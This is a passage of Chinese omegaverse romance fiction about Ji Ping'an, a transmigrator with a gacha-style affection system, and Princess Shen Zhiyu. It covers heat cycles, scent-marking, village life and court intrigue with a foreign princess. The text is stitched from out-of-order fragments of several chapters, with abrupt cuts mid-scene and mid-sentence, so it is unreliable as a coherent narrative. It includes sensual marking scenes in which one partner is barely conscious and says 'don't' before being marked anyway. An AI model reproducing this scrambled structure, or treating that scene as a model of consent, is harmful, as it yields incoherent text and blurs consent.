说完,她也没有得到对方回应的想法,直接坐在床边,想要将抑制丸送到人的嘴里面。 只是她的指尖刚碰到对方的唇瓣,手腕便把紧紧地攥住。 力气很大,让她完全不能动作分毫。 沈之虞看着还没送出去的抑制丸,语气里面带了些无奈的柔意。“季平安?” 两刻钟的时间过去,甘霖期的乾元也很难保持理智和清醒。 在尚且寒冷的冬天,季平安的额头上已经出了些细汗。 她仍旧在闭着眼睛,小声地呓语:“殿下……” “嗯,我在”,沈之虞感受着腕间的力度,轻声道:“先松手好不好?” 季平安已经听不到外界的声音,完全陷入在灼烧中,心里想说什么便说什么。 “殿下……喜欢……” “喜欢殿下……不行……” 这两句话响起在沈之虞的耳边,她的心也停了一瞬。 在她明白自己的心意后,也想过许多次,季平安会不会喜欢她。 哪怕如今听到,她还是有些不确定,怀疑是自己的错觉。 沈之虞看着床上的人,想再开口询问。 只是还没有发出声音,季平安握着她腕骨的手忽然用力。 沈之虞的身体骤然失衡,直接贴到了人的身上。 季平安也闻到了靠近的兰花香气,原本攥着人的手换了位置,轻轻地环到了人的腰上。 只要想挣脱,完全能挣脱。 不过沈之虞的脑海中暂时没有这件事,她的长睫微动,问道:“季平安,你喜欢谁?” “喜欢”在季平安这里是敏感的字眼,听到这句话,她难得睁开了眼睛。 只是视线有些迷蒙,带着微微的水光。 过了会儿,她才与沈之虞的视线对上。 季平安看着距离她如此近的人,轻声道:“我喜欢殿下。” 既然是梦,那她表白总没有关系吧。 在现实里憋了太久,如今说出来,季平安竟然难得的感觉到轻松。 “我喜欢殿下,喜欢沈之虞……” 话还没有说完,沈之虞的唇便贴上了她的唇。 季平安想,这梦真的好真实,也真的好合她心意。 身体里的那股灼热,似乎又便成了更为让人难耐的欲望。 季平安忍不住收了收自己的胳膊,将人抱得更紧了些。 身体相贴,热度也相互传递着,暧昧在这片小小的空间蔓延。 季平安眨眼:“不脏。” 如果吻能让尽量弥补当时的疼痛,她也不介意多吻几次。 季平安哦了声,斟酌了词句,才开口问道:“昨晚是因为我,才让殿下的雨露期提前了吗?” 沈之虞看她一眼:“怎么会这么问?” 她昨天晚上虽然被季平安的信香影响了,但也在正常的范围内,没有进入雨露期。 季平安顿了下,声音低了些,道:“就是想着昨晚标记了,可能是殿下的雨露期到了。” 她昨晚的记忆很清晰,包括沈之虞的那句“我允许你标记”。 沈之虞:“……三日后归宁,若是没有标记,很容易被其他人察觉出来。” 解释完这句话后,季平安也理解了。 她摸了下鼻子道:“不过还是要谢谢殿下。” 不管怎么样,若是沈之虞没有管甘霖期的她,谁知道会发生什么呢。 沈之虞嗯了声,道:“礼尚往来。” 季平安也帮过她,还不止一次,自己现在这么做也说的不错。 这四个字莫名逗笑了季平安,她忍不住弯了下唇角,早上醒来时候的尴尬和复杂情绪也少了许多。 沈之虞的视线落到她含笑的眼眸上,指尖很轻的动了下,想到了昨晚对方微红的眼眶。 还是现在看的顺眼。 季平安喊了声,“殿下。” “怎么了?”沈之虞收回思绪。 季平安:“殿下说的三日后归宁,有需要我特别注意的地方吗?” “比如必须做什么事情?准备些东西?” 沈之虞思考片刻后,道:“不要让人怀疑我们的关系便好。” 她高调求皇帝赐婚,再加上之前外界的传言,她们肯定要表现的亲近一些,昨晚的标记也是为了这个。 而且她和季平安越亲近,皇帝对她们的怀疑便越少。 季平安了然:“我懂了。” 不就是秀恩爱,她虽然没做过,但见过的可不少。 听到她的话,沈之虞才跟着齐元平出去。 圣旨的内容,和三皇女告诉她的差不多,这段时间无关的人不能再见季平安。 王德全的声音细长,听起来并不舒服,甚至还有些刺耳。 但就在这种声音下,沈之虞却难得走神。 和她合作,肯定会有风险,也包括性命。 但这次的事情结束,她是不是也应该给对方选择的机会。 离开她,不用再记着标记的事情。 也不会再像这样危险。 第 104 章 第 104 章 从大理寺出来后,沈之虞意外撞上一人。 准确的说,对方目的很明确,就是朝着她走过来的。 沈之虞的脚步微顿,看着前方道:“十一公主。” 扶勒的穿衣风格,颜色也更为艳丽,在人群中第一眼就能注意到对方。 十一公主笑了下,问道:“七公主是来看驸马的吗?” 她和中原的人接触的少,说中原话的时候声调也有些奇怪,但不影响听清楚她话里的意思。 沈之虞看向她,淡淡道:“这应该不关十一公主的事。” 无论怎么样,扶勒在这件事情上都是受益者,如今找过来,肯定有其他的心思。 十一公主的年龄不大,笑起来的时候便显得人畜无害,格外温软,但说的话却恰恰相反。 她笑着道:“怎么不关我的事。” “公主的驸马杀的是我王兄,按照你们中原的规矩,我应该替王兄报仇才对,那她就是我的仇人。” “不过你的驸马,她很漂亮,是我喜欢的,所以我不会杀她。如果驸马能够跟我回扶勒的话,我可以和王姐说不追究这件事,如何?” 扶勒的人说话大胆,更不会讲究所谓的礼法,向来心里想说什么就会说什么。 沈之虞面容平静,语气里面却带着寒意:“不怎么样。” “前两个月,扶勒应该刚被我小姨打下一座城池吧?驸马跟着你过去,说不定连安全都不能保证。” “十一公主,你说是不是?” 扶勒推崇武力,让她们骄傲的是胜利和荣誉。 如今沈之虞轻飘飘的,就将扶勒败掉的事情说了出来,无疑是在狠狠打她的脸。 “你……你!” 十一公主想说些什么来反驳,但失败是事实,也确实是由虞思冬打下来的。 “你们且等着瞧,我扶勒的士兵最为骁勇善战,之后定然不会失败。” 沈之虞依旧沉稳,道:“如今是在京城,还是谨言慎行的比较好。” 十一公主到底年轻气盛,被她一激就容易口不择言。 若是这话传到皇帝口中,季平安之前说的话也就更加真实,说不定还会怀疑扶勒盟约的真实性。 十一公主不是蠢人,现在也意识到了,她闭上嘴不再说话,带着人从大理寺门前离开,背影还能看得出来在生气。 沈之虞淡淡道:“慢走。”- 椅子终究不大,稍微一动便带着些危险,更不用说脚步还有杯子的碎片。 她说完之后,便牵着季平安的手站起来,把人往床的位置带。 有了兰花味道的信香,季平安哪怕无意识都很听话,让迈哪只脚就迈哪只。 没几步路,她们两个人就重新坐到了床上,距离还是很近。 沈之虞深吸口气,垂眸将里衬的内扣解开,露出来脖颈处凸起圆润的腺体。 上次被标记过后,她的腺体也没有再疼过,连舒缓的药都很少喝。 如今的腺体虽然也带了些绯色,但完全是健康的绯色,碰到还会很轻地颤了一下。 衣扣解开没有多久,季平安便已经将人重新抱在了怀里面,鼻尖抵在了散发着幽兰香气的腺体上。 “还记得怎么标记吗?” “记得。”季平安呼吸也渐渐乱了,但还是道:“你放心,我不会标记你的。” 她知道标记对坤泽意味着什么,是要比亲吻要亲密地多的举动,以她们现在做的关系,是完全不能做的。 但她暂且能够控制住自己,完全陷入情|欲中的沈之虞却不能控制自己。 她靠在季平安肩侧,难受的整个人都皱着眉头,腺体的位置久久没有得到安慰,甚至都开始有些刺痛。 沈之虞无意识地想用手去碰,但轻微的触碰并没有起到任何的作用,反而增添了一份痒意。 指尖微微用力,本就脆弱的腺体处顿时显出一抹红痕,格外刺眼。 季平安连忙抓住她的手,束在两人之间,“别抓了,不疼?” 她对沈之虞的了解更深了,不仅对她狠,对自己也狠。 沈之虞脖颈的皮肤白皙,腺体处饱满漂亮,甚至连骨线都格外的优越,季平安只是看了眼就收回视线,摩挲着把她的里衣往上拉了拉。 手被束缚住后,沈之虞也更加难受,整个人都在往季平安的怀里蜷缩,大腿也蹭着季平安的大腿。 两人身上都只穿着里衣,天气热了里衣也薄,两人的肌肤贴着,每动一次都很明显。 季平安的呼吸更重了些,扶着人的指尖微微蜷了下,连信香都没有忍住多放出来了一些。 “难受?”但她也不敢放开对方的手,担心对方又去抓腺体的位置。 沈之虞靠在她身上,闭着眼睛很轻地嗯了一声。 季平安听不真切,也不知道是沈之虞真的在回应她,还是暧昧信香也影响了她,都出现了幻觉。 她看着系统页面上,[x2]的可用次数仍然是0次。 季平安抿了抿唇,努力回想刚才的种种情况,终于想起来沈之虞似乎说过想要信香。 没有抑制丸,不管有没有用,她都只能试试这个法子。 季平安把自己的里衣往下拉了下,露出来脖颈处的腺体,此刻温度格外高,靠近些便是浓郁的乾元信香的味道,如同进入了漫天遍野的向日葵花地里。 她换了个方向,让沈之虞靠近些她的腺体处,“试试,这样会不会好受一些?” 沈之虞的脸上已经全是汗水,沾湿了发丝,两人肌肤的温度也分不出来谁更高,但还是紧紧贴着。 雨露期的欲望,让她忍不住靠近乾元的信香。回到家里后,季平安进了屋子,却没有见到人。 她脱下身上的蓑衣,往灶房里面走过去,就看到岁岁和沈之虞正在做晚饭。 沈之虞这次倒是没有烙饼,被岁岁安排了烧火和打下手的活。 “好香,做的什么?” 岁岁听到声音,转过头和她道:“阿九那里在炖着冬瓜,我还蒸了些米饭,很快就能吃了。” 季平安看着她小大人的模样,索性也没有上前帮忙,坐到了沈之虞的旁边,“那阿姐直接等着吃饭了。” 沈之虞往灶里放了根木头,感受到她的气息,忽地皱了皱眉头。 她看向季平安:“你受伤了?” 她闻到了血的味道。 她垂眸看向自己怀里的人,用手摸了摸沈之虞的手腕,仿佛是一块寒冰。 沈之虞的意识还没有清醒过来,整个人都在往季平安的怀里面蜷缩,像是下意识寻找暖和的热源。 季平安也顾不得其他,直接掀开被子,将人抱到了自己的怀里面,然后又把原来的被子加叠裹到了沈之虞的身上。 她身体的温度隔着薄薄的两层里衣传递给对方,她低头想看看对方的情况,结果便感觉到略显干涩的唇瓣略过了她的喉骨处。 如同羽毛拂过,季平安下意识滚动了一下喉咙,“阿九?” 整个世界都被一层黑雾笼罩,沈之虞的眼前全都是模糊地黑,头一阵一阵地刺痛,让她只能隐隐约约看到眼前的景象。 屋子给她的感觉熟悉又陌生,朱红色和黑色交叠,房间各处都是点燃地红烛,外面地冷风重重地拍打在窗棂,烛光晃动地厉害。 冷意慢慢在她的身上蔓延,除了风拍打窗棂的声音,沈之虞还听到了很轻地簌簌的声音。 她低头就看到,通体发黑的各种虫子正沿着她的脚往上爬。 沈之虞想离开,却佛有无形的禁锢将她困在原地,动弹不得,虫子越来越多,从脚踝到膝盖慢慢地将她淹没,隐隐约约之中,有道声音在她耳边出现。 “阿九,醒醒?” “阿九,你感觉还好吗?” 季平安看着怀里的人,急得都想出门找大夫了。 沈之虞明明几分钟前睁开了眼睛,但偏偏那双漂亮的眼睛里面格外空洞,任凭季平安怎么说话她都没有反应。 “阿九,你再不醒我就……” 最后一个字脱口而出的时候,沈之虞空洞地眼睛忽地动了下,然后季平安便感觉自己的指骨被狠狠地咬了一下。 沈之虞咬人的力气不小,季平安没忍住皱了皱眉,“嘶”了一声,将手指从她的唇瓣间撤了出来。 她现在顾不上这件事,只是抬手在沈之虞的眼前挥了挥,“你现在怎么样?” 沈之虞的发丝已经被冷汗浸透贴在额边,脸色苍白病弱,只有唇角带着些血色。 她的意识慢慢回笼,缓了好久才低声道:“我没事。” 沈之虞的唇瓣很干,嗓子也哑,说这三个字的时候听起来一点都不像是没有事,说大病初愈才更恰当。 “别逞强。”季平安忽略了她的这句话,问道:“还冷吗?” 也是这时候,沈之虞才注意到她整个人都被乾元抱在怀里,被子严严实实地裹住了她们两个人,热烘烘地温度让她向来冰冷的手都暖了几分。 季平安结实有力的胳膊环在她的腰上,眼眸里还能看到几分担心。 说话的时候,她们面对面贴着,距离很近,沈之虞甚至能感受眼前人胸腔的震动和呼吸。 呼吸间,细微的气流如同很轻的一阵风,她感觉到季平安耳边的发丝动了下,很轻地抚了下她的脸颊到了。 太近了。 “不冷,你先松手。”沈之虞声音还是哑,试图和她拉开距离,但是腰被箍住动弹不得。 季平安闻言,低头看了眼道:“不是我不想松手,是你要先松开。” 沈之虞愣了下,才注意到她的手也环着季平安的腰,能清晰地感受到她背部的骨肉。 她昨天刚给对方上过药,哪怕隔着层衣服,记忆也很清楚,她手腕放着的位置,季平安的伤已经结痂,长出来淡粉色的新肉。 岁岁也连忙看向季平安,“阿姐?” “有吗?”季平安眨了眨眼,“不过我的背上好像是有些疼。” 刚才还没有感觉到,沈之虞说了之后,背上就泛起了密密麻麻刺疼的感觉。 她说话的时候,沈之虞的视线也落到了她的背上。 衣服的颜色深,但也能看出洇出些血迹,不少地方还被挂破了。 沈之虞简单道:“背上有血。” 岁岁着急地也想看,季平安拦了一下,没让她往背后走。 “岁岁你先在灶房里看着我们炖的冬瓜和蒸的米饭,我让阿九帮我去屋子里看看伤,行不行?” 岁岁点头,语气里都是担忧:“阿姐你记得涂药。” “好。”季平安安慰她,“就是被树枝挂到了,破了个皮,其他的不严重。” 这时候她也记起来,背到底是怎么伤的。 射完猎物后,她过去捡兔子,当时旁边应该有带刺的树枝,结果她起身的时候没有看到,背直接擦到树枝了。 当时季平安确实感觉到有些不对劲,但她忙着去里正家里,连疼也忘了。 进了屋子里面后,季平安在岁岁面前淡定的样子瞬间崩掉。 她呲牙咧嘴地“嘶”了一声,看着沈之虞道:“怎么你说有伤之后,突然这么疼?” 这就是心理作用吗? 近一点,再近一点。她没有乾元那么幼稚。 季平安接触到她的眼神,咳了两声,也放开自己“罪恶”的手。 岁岁立刻跑到沈之虞的旁边,拉住她的衣服,还是阿九好。 这几天天也慢慢热了起来,衣服也换成了单衣。 走在路上,旁边冬日里略显荒芜的田地也都翻土种上庄稼,不出几日,就能冒出浅绿色的芽。 村里的人忙碌了十几日,现在也得了些空闲,三三两两聚在一起说话,也有的带着背篓,准备割些野草喂鸡鸭。 “平安,今儿个没去山上啊?”她没有想到,季平安想到的法子竟然是这个。 见沈之虞还没有说话,季平安以为是这点钱太少。 她咬咬牙,又从衣袖里拿出来一块碎银,比刚才的要大些。 “真的只能给这么多了,剩下的我还想给家里添口锅呢。” 沈之虞眼眸微动,也知道是乾元误会了,却还是没有接。 过了片刻,季平安生无可恋地从衣袖里拿出来最后一块碎银,“真的真的只能有这些了,再多些我真的没有了。” 做人也不能太贪心的,后面这句话她没说出来,要不然几两银子都买不到了。 沈之虞看她的表情,也知道这次是真的,从她的手上接过三块银子。 拿银子的时候,她的指尖不可避免地碰到乾元的手心。 微凉的触感一闪而过,比拂过掌心的羽毛还要轻,季平安下意识蜷了下手心,才问道:“现在可以告诉我了吗?” 为了自己的好奇心,也算是花了大价钱了。 沈之虞手里把玩着三块银两,“我何时答应过你,可以用银子买了?” 季平安瞪大了眼睛:“???” 她说完用银子后,沈之虞好像确实没有明确的说过同意这件事。 如果沈之虞去做生意,肯定是个大大的奸商! “那你把银子还我。” 季平安伸出手想要回来,沈之虞侧身躲了下,将银子受到袖中,道:“我刚才只是想问,你为何突然想要做浴桶。” 只是她还没有说出口,便明白这个问题和她之前问的问题,似乎并没有什么区别,得不到答案索性也不问了。 没料到季平安会好奇至此,还平白得了三块银子。 “只有这个问题吗?”季平安有点不相信。 沈之虞只道:“信不信由你。” 季平安小声嘟囔道:“三块银子呢,我不信那不是亏了,怎么说也得信了。” “你又在说什么?” 两人之间隔得距离并不远,但沈之虞这次同样没有听清楚乾元的话。 “我说我要去洗身子了。” 顺便悼念她失去的银子。 季平安严重怀疑,现在这个家里沈之虞都要比她有钱了。 时间已经晚了,屋子里的岁岁应该也已经睡着。 沈之虞对乾元洗身子不感兴趣,她嗯了声,只道:“你重新换一块胰子用吧。” 季平安:“为啥?” “我瞧着平安这是要去县城吗?还带着家里人一块啊?” “这几天地都种完了,去县城里的人不少,肯定比前两天要热闹。” 富贵娘是个爱说话的,自从季平安救了富贵之后,她逢人就说季平安的好话,还说季平安是承了季母,绝对是村里打猎的好手。 村里人可是知道富贵娘之前对季平安的厌恶,如今她都说对方的好话了,村里人也都更相信了,因此对着季平安也比之前要热情许多。 季平安应了话:“对,我带她们去县城里买身衣服。” 说话的时候,村里人也注意到岁岁和沈之虞的衣服,要么是衣袖边都开了线,要不就是直接破出了洞,买衣服也是理所当然。 “天热起来了,也是该做些新衣服了,改天我也去县城里扯几尺布去。” “那你们快去吧,别误了回来的时辰,天黑了路可不好走。” 村里人也有人看到过季平安去县城里卖猎物,但并不嫉妒。 他们也不是没有往山上走过,可惜绝大部分时候都是空着手去,再空着手回。 猎户可不是那么好当的,隔壁村不就有几个受伤的,回来时候衣服上都是血,吓人得很。 季平安也道:“婶子们也先忙,我们就先走了。” 有季平安在,村里人也不会主动和沈之虞聊天,她便趁着这个机会,将往县城的路记下来。 到了县城,则要繁华许多,街上叫卖的摊贩和开张的铺子都吆喝着请人进去。 “李记食馆新开业,今日来的顾客都送一壶茶饮啊!” “糍糕,软乎乎的糍糕,刚出炉的又甜又热乎!” “拨浪鼓,风筝,九连环,买回去一个给家里的小孩玩,怎么都亏不了!” 到了现在,沈之虞基本只是靠着本能在说话和行动,意识已经彻底被灼热侵占,只希望能够找到一片清凉。 季平安能够感觉到她们两个人贴的越来越近,腰贴着腰,小腹贴着小腹,锁骨贴着锁骨,最后两人之间一丝缝隙都不剩。 她在心里默默背着已经快被她忘干净的专业知识,试图让自己忽略身前的热度。 但是脑子里刚试图回忆异常处理机制的时候,就感觉自己的脖颈处,忽地湿润了下。 因为之前的事情,季平安的第一反应便是,屋子会不会又漏雨了。 但等到第二次的时候,她才终于意识到,是沈之虞舔了两下她的脖颈处。 准确的说,是沈之虞舔了她腺体的位置。 雨露期的坤泽需要乾元的信香作为抚慰,肌肤之间的触碰、亲吻、标记等都是能够获得信香的方式。 季平安不可能在沈之虞意识不清的时候亲吻和标记,于是沈之虞潜意识便想接触她的腺体,信香最为浓郁的地方。 季平安搂着她腰的手臂忍不住收紧了些,她的声音比刚才又哑了些:“阿九?” 沈之虞没有回话,可能是刚才获得的信香不够,她又轻轻地用牙齿碰了下乾元的腺体。 季平安整个人都忍不住颤了一下。季平安笑着站起来,顺手把她的弓箭也拿上,路上看到猎物还能顺手加个菜。 “多出去转转也挺好,还能锻炼身体呢。” 哪怕这些天她做了好吃的,沈之虞还是有些瘦,季平安觉得她还是得带沈之虞锻炼锻炼,若是有机会,再教对方武术和跆拳道之类的。 她不可能永远把沈之虞留在这里,现在对方多锻炼增加些力气,日后也能少些危险。 岁岁走在前面,带她们往有鱼的地方走,季平安和沈之虞并排跟在身后。 下过雨之后,路边的野草也高了不少,不少野花也开得漂亮,季平安前世也都见过。 “中间浅黄色,外面白色的小花是一年蓬,最爱一堆一堆的开花。” “这是紫花地丁,春夏都会开,如果中了蛇毒可以先在伤口处抹些,这还是水山上次和我说的。” “你脚边小簇小簇开花的是荔枝草,晒干之后可以泡水喝,和菊花茶差不多。” 说着她便采了些到自己的背篓里面,问沈之虞道:“是不是出来转转也挺好的?” 沈之虞嗯了声,“我也没有办法拒绝。” 季平安说是询问的意思,但不成功就忽悠岁岁,让她根本没有办法说出来“不”字。 “那就是你不反感”,季平安给她解释着,“你都不反感了,换句话说不就是喜欢吗?” 多么合理的逻辑。 沈之虞:“……” 到了河边,岁岁给她指了指河里的鱼,“阿姐,这里有一条!” 河水很清澈,都能看清楚河底的石头和水草,两条鱼正在里面悠然地游着。 季平安还没有下河抓过鱼,如今见到却还挺有自信:“我觉得不是很难,岁岁你稍微往后点,我怕鱼尾巴的水甩到你。” 岁岁听话地往后退,还不忘道:“我知道,阿姐很厉害的!” “那当然。”季平安丝毫不谦虚。 她把裤腿挽起来了些,又从背篓里面拿出了支新买回来的铁箭准备叉鱼。 季平安小心翼翼地靠近了些河边,然后找准时机,眼疾手快地将手中的箭插了下去。 箭刺破水面,一时水花激荡,惊得旁边的鸟都扑棱着翅膀乱飞。 可惜,季平安将手上的箭拿起来,空空荡荡。 刚还悠然自得,完全没有意识到危险降临的鱼,现在已经躲到了河里的石头下面,时不时还甩甩尾巴,让人恨得牙痒痒。 季平安:“……” 沈之虞好整以暇地看着她空荡的箭,将她刚才的话重复了一遍:“不是很难?” 季平安咳了一声道:“失误罢了,捕鱼总是要失误的,下次就能成功了。” 岁岁在旁边认真地点头:“阿姐说得对。” 季平安摸了摸她的头,“阿姐下次多给你带些糖。” 沈之虞微微挑眉,也不再说话,看着季平安再次捕鱼。 这次季平安对准的还是刚才的那条鱼,只是她的动作更谨慎了些。 等鱼再次游到河中间的时候,她才用力往下刺过去。 或舔或咬,沈之虞借着这个机会,也得到了些充足的信香,稍微好受了些,难受的变成了季平安。 她只能紧紧地攥紧自己的手,想要远离身前人,但还没有拉开距离,对方便会往她的身上蹭。 两人大腿贴着的地方,里衣已经完全被汗浸透,反而更煎熬。 不知道过了多久,季平安感觉她已经被幽兰味道腌地透透了,系统页面[x2]的可用次数也重新变为1次。 季平安也确实没有说谎,哪怕身体格外热,额头上都是薄薄的细汗,她还是没有忘记安抚这回事。 只是比起来清醒时候的她,确实多了些横冲直撞。 季平安微微张唇,将那块凸起的腺体含住,唇舌中带着向日葵花味道的信香,细细地安抚着坤泽的腺体。 唇舌滚烫,更不用说她们两人之前从未有过这种亲密程度的接触。 沈之虞的腰忍不住塌了些,更深地嵌在了乾元的掌心里,喉间溢出了一句闷哼声。 声音很低,但是在安静的房间里,季平安便听得清清楚楚。 她的脑子如同被烫的短路,基本的思考也运行不起来,只觉得是怀里的人很舒服。 她含着腺体的唇又舔了一下,牙齿偶尔划过腺体最为柔嫩的地方。 “别……”季平安看着好感度和抽卡次数,唇角忍不住的上扬。 在原来的世界,她有个朋友很爱玩抽卡游戏。 但对方运气总是差一些,经常抽不到自己想要的,那时候就会找季平安抱怨,说她再也不会玩这个游戏了。 季平安信了,只是没过两周,朋友又来找她抱怨,说这次抽卡又是血本无归。 季平安格外疑惑:“你不是说你不玩了吗?” 朋友故作深沉道:“我确实卸载了五分钟,但后来充钱抽出来了,我也不能抛下我游戏里面的老婆对不对?” 季平安:“……” 可能是季平安的表情太过无语,朋友也为自己找补了句:“不过我还是长了教训的。” 季平安问她:“长了什么教训?” 朋友:“生气的时候骂骂游戏策划就行了,还是别卸载游戏了,下回来费劲。” 季平安当时不理解朋友对抽卡游戏这“扭曲”的爱,但现在却有些明白了。 努力得到的抽卡机会,以及拥有神秘感、会随机出现的物品,确实很让她上瘾。 季平安准备先拿两次抽卡机会试试水。 乾元和坤泽会相互影响,到了这个时候沈之虞的呼吸也带了些短促,话都说的断断续续。 季平安听到了她拒绝的这个字,但还是喃喃道:“要的。” 若是没有安抚,你会疼。 这句话太长,季平安没说出来,只在心里想了一瞬,转而便继续轻轻柔柔地放松着沈之虞的腺体。 过了会儿,房间里的兰花香气更为浓烈,腺体也比刚才要红润许多。 季平安收起来了含吮的舌尖,牙齿刺入到腺体里面。 季平安注入的比之前要着急,沈之虞感受的也比之前要更加明显。 太阳般热烈的信香和淡淡冰雪的信香碰撞,她的手忍不住攥紧了同样是红色的被子,扯出几分褶皱。 天色已经完全暗了下来,夜色之中明月高悬,落下清冷银灰的月光。 房间的门窗闭的紧,月光透不进来,自然照不到床边极近的两个人。 这次季平安没有受伤,但下次呢? 待在她身边,总归不会安全。 她顿了片刻,才将她这些日子的想法说了出来。 “小姨回来了,我们之间的约定也算完成了。你若是想要离开,或者换其他的地方生活,随时都可以离开。” 听到她的话,季平安脸上的笑少了些。 两人的约定绝对不是等虞思冬回来便终止。 她蜷了下指尖,脑海中却猝不及防的想到了刚才要的那个抱。 难道是沈之虞察觉到了她的心意,才会想要她离开? 第 105 章 第 105 章 季平安的大脑太过混乱,但表面还是平静的。 她试探着问道:“接下来应该还有很多事情的吧,我还是多在京城里待一段时间,殿下怎么突然说起来这个?” 沈之虞道:“如果没有这件事,你也不需要在大理寺牢狱里面。” 闻言,季平安的心也算放下了些。 她用平常的语调,笑着道:“殿下怎么还在想这个,我现在不是好好的了。” 沈之虞:“只是想给你个选择的机会。” 季平安:“殿下放心,我既然之前答应了殿下,肯定也要帮完殿下,再想之后的事情。” 这件事情沈之虞没有办法强求,她嗯了声,道:“你先休息,想沐浴的话让人打水来就好,我在书房,有事随时可以找我。” 只有屋内的红烛慢慢燃着,偶尔晃动一下,像是或浅或重的呼吸。 标记完成,沈之虞也清醒了一些。 她感觉到乾元的唇瓣还落在她的脖颈处,似乎还有些蠢蠢欲动,想触碰其他的地方。 标记可以,但更多的就不在沈之虞的接受范围之内了。 她动了下指尖,想出声提醒对方。“你昨晚……” 开口之后,便是极度沙哑的声音,嗓子久未润过,有种拉扯地疼,让沈之虞忍不住皱了下眉。 季平安又给她倒了杯水,递过去道:“我知道你想问什么,但现在不着急,你先好好吃饭休息。” “抑制丸我也买回来了,你如果感觉不舒服就吃一颗,等完全好了我们再聊。” 二十颗抑制丸她分成了两份,十颗给了沈之虞,另外十颗自己留下。 她说完,把刚买回来的抑制丸也放到旁边。 “哦对了,还有这个,你吃完抑制丸再吃。”季平安又把封着的油纸包放在旁边。 沈之虞垂眸看向桌子上的东西,再抬眼乾元已经出了屋子,屋门也被虚掩住。 吃完饭后,她又吃了枚抑制丸,草药的苦味弥漫到她的口腔。 沈之虞想到刚才季平安的话,将桌子上的油纸包打开,才知道里面放着什么。 蜜饯。沈之虞再醒过来的时候,外面的阳光格外明媚,床上也已经没有人了。 她穿好衣服出去,便见到季平安和岁岁正晾晒着被褥。 昨天晒的被子没有完全干透,快到傍晚的时候她们只能先收回到屋子里面,要不然晚上潮气太重,被子更容易湿。 “今天再晒一天就行了,等一会阿姐帮你们收拾收拾屋子。”季平安和跟在她身边的小尾巴道。 漏了几天雨,屋子里面的潮气也有些重,现在正敞开着门和窗。 岁岁点头,“我也一起收拾。” 晒好被子,季平安随手揉了揉小孩的脑袋,“我们去做早饭,阿九应该还在睡着。” “嗯嗯。”岁岁听话地跟着她走,本来想牵着季平安的手,结果便看到了季平安手指上的伤,“阿姐,你又受伤了吗?” 站在屋子门口的沈之虞,这时候也看向季平安的手指。 一两个时辰前的痕迹已经变得更深,深浅交错,暧昧的红和深到发青的痕迹格外明显,任谁瞥见都不可能当做没有看到。 沈之虞在季平安开口前道:“你过来一下。” 她的声音出现,院子里面的两人同时看过来,岁岁先道:“阿九,你醒啦。” 沈之虞和她说了句早,然后视线便又回到了季平安的身上,重复了遍刚才的话:“你过来。” 岁岁也拉了拉季平安的手,“阿姐,你快过去。” 季平安上次受伤,就是沈之虞帮忙抹的药,所以小孩看到季平安的手指之后,就想让她去找沈之虞。 季平安都还没有来得及思考,怎么家里的小孩都这么听沈之虞的话,她的脚就先一步朝着屋子那边走过去。 进到屋子里之后,沈之虞反而没有和她说话,而是背对着她翻找着东西。 “你找我有事?还是头又疼了?” 季平安走过去,刚在人面前站稳,她就看到沈之虞递到她面前那个熟悉的药罐。 “给你的手抹抹药。” 季平安接过来,道:“你咬的是指骨那里,也就看着吓唬人,其实真不疼的。” 她一边说话,还一边弯了弯手指给沈之虞看。 青紫色和红色交叠,整个手指几乎找不到一片好的地方。 沈之虞的眉轻微地皱了下,“抹。” 季平安:“……哦。” 她抹就是了,“你这算不算关心我?” 这次伤的不是后背这种位置,也用不着人帮忙,她没一会儿就抹好了,只是嘴上却停不下来。 “别多想。” 起床没一会儿功夫,岁岁都能发现她手上的咬痕。 若是今日季平安出门一趟,见到的人会更多,沈之虞不想让其他人误会。 抹完之后,季平安习惯性把药膏给沈之虞,看对方准备放回到原来的位置,道:“你也抹点药吧?” 沈之虞放药的动作顿了下,“我没有受伤。” 除了醒过来便带的伤以及被打出来的伤,她这段时间都没有再受过伤。 “怎么没有?”季平安却是比她还要清楚,她示意地点了点自己的唇角,“你这里也抹点药吧?” 伤是沈之虞昨晚自己咬出来的。 “不严重。”沈之虞道。 季平安只看着她道:“我刚才也是这样觉得的。” 既然不严重的话,为什么沈之虞又要让她抹。 沈之虞顿了下,想要放好的药罐也被她重新打开抹了些药膏,季平安这才放心地出去。 吃完早饭,她们三人把屋子从里到外都打扫了一遍,然后坐在院子里面晒太阳。 季平安看向岁岁:“今天想不想出去玩,阿姐带你去捉鱼?” 她之前忙着打猎,这些日子都没有好好陪小孩玩过。 “真的吗?”岁岁明显对这个感兴趣,听到的时候眼睛都要比平时亮,“我和阿九之前就看到过河里有鱼,就是没有捉到过。” 季平安点了点头,“抓到给你和阿九做鱼汤喝。” 上次她从系统中抽到的鱼,两个人看起来还是很喜欢吃的。 说完,她就看向旁边的沈之虞。 阳光似乎格外偏爱沈之虞,给她长而柔顺的长发都镀上层灿金色的光,垂在身侧的指尖都变得有些透明。 不像是阳光恰巧落到她身上,而是特地找到她一般。 “阿九也和我们一起去吧,还能一起采些蘑菇回来。” 下过雨之后,蘑菇长得最快,这时候如果去林子里面,应该能在树下面看到一堆一堆的蘑菇。 纯天然生长的蘑菇最为鲜嫩,不管是煲汤还是煮菜,味道都很好。 沈之虞想拒绝,但她抬眼便看到季平安悄悄碰了碰岁岁,小孩也很有兴趣的看向她。 她愣了一会儿,才拿了个吃到自己的嘴里,将刚才嘴里的苦味尽数压了下去。 雨露期很难熬,哪怕抑制丸能够暂时压抑住身体的欲望,但还是会有劳累疲倦、困乏萎靡的感觉。 没有多久,沈之虞便又觉得困倦,睡过去之前她下意识摸了摸自己枕头下面。 原本放着木箭的位置已经空了,愣了会儿沈之虞才想起来,昨晚这只箭被季平安扔到了屋子里的角落。 她按着记忆里的方向看过去,那支被折掉箭柄的箭头仍然在角落,不知道是乾元忘了,还是根本没有放在心上。 沈之虞把箭捡回来重新放回到枕头底下,精神才终于撑不住,沉沉地睡了过去。 季平安从屋子里出来后,一边和岁岁吃饭,一边看系统页面上的信息。 刚才系统声音响了好多次,尤其是刚开始响起的时候,系统声音如同卡住一般,后面的数字迟迟没有出来,缓了好一会儿,系统才开始重新播报。 当时她都有些怀疑,是不是沈之虞的情绪太过复杂,导致系统都没有办法识别。 现在页面上显示的好感度是-10,也就是说,刚才沈之虞一共给她加了14点好感度,总得抽卡次数也已经到了24次。 以往的好感值,增长都是+2+1的慢慢涨,最高的一次也不过是+10,当时她打跑了巩荣,并且把从对方摸到的银子都给了沈之虞,这次却还要更高! 季平安忍不住内心的高兴和激动,唇角自然而然地弯了起来,昨晚没有白白被咬! 想到这里,她又摸了摸自己的脖子,家里没有镜子,她只有洗脸的时候借着水面看了眼,也没有看清楚,不知道现在是什么情况。 